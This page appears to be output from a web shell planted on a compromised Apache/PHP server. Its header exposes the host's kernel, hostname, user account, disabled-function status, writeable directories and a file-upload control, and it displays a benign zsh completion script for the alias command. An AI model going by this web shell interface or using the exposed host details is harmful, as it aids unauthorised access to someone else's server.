Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/zsh/5.5.1/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/zsh/5.5.1/functions/_alias
#compdef alias

local curcontext="$curcontext" state line expl type suf
typeset -A opt_args

_arguments -C -s -A "-*" -S \
  '(-r +r -s +s)-+g[list or define global aliases]' \
  '(-g +g -s +s)-+r[list or define regular aliases]' \
  '(-r +r -g +g)-+s[list or define suffix aliases]' \
  '-+m[print aliases matching specified pattern]' \
  '-L[print each alias in the form of calls to alias]' \
  '*::alias definition:->defn'

if [[ -n "$state" ]]; then
  if compset -P 1 '*='; then
    compset -q
    _normal
  else
    compset -S '=*' || suf='='
    type=( ${opt_args[(i)[-+][grs]]#?} )
    (( $#type )) && type=( -s $type )
    _wanted -x alias expl 'alias definition' _aliases -qS "$suf" "$type[@]"
  fi
fi

Hry